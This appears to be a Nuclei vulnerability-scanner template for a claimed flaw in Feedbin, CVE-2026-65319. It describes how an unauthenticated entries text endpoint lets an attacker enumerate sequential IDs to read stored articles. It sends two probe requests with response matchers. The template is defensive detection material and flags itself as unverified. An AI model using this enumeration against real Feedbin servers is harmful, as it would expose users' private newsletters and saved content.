id: CVE-2026-65319

info:
  name: "Feedbin - Unauthenticated Article Text Disclosure"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Feedbin (commit 739884a) contains an unauthenticated information disclosure vulnerability: the
    entries text API endpoint skips the authorization before-action filter entirely. An
    unauthenticated attacker can iterate sequential integer entry IDs through
    GET /v2/entries/:id/text to enumerate and extract the plain-text content of all stored
    articles, including private newsletter and page-saved content. This template confirms the flaw
    non-destructively by requesting the text endpoint for an entry without authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-65319&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=feedbin&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-65319
    cwe-id: CWE-306
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,feedbin,missing-auth,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/v2/entries/1/text.json"
      - "{{BaseURL}}/api/v2/entries/1/text"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"content\"")'
        condition: and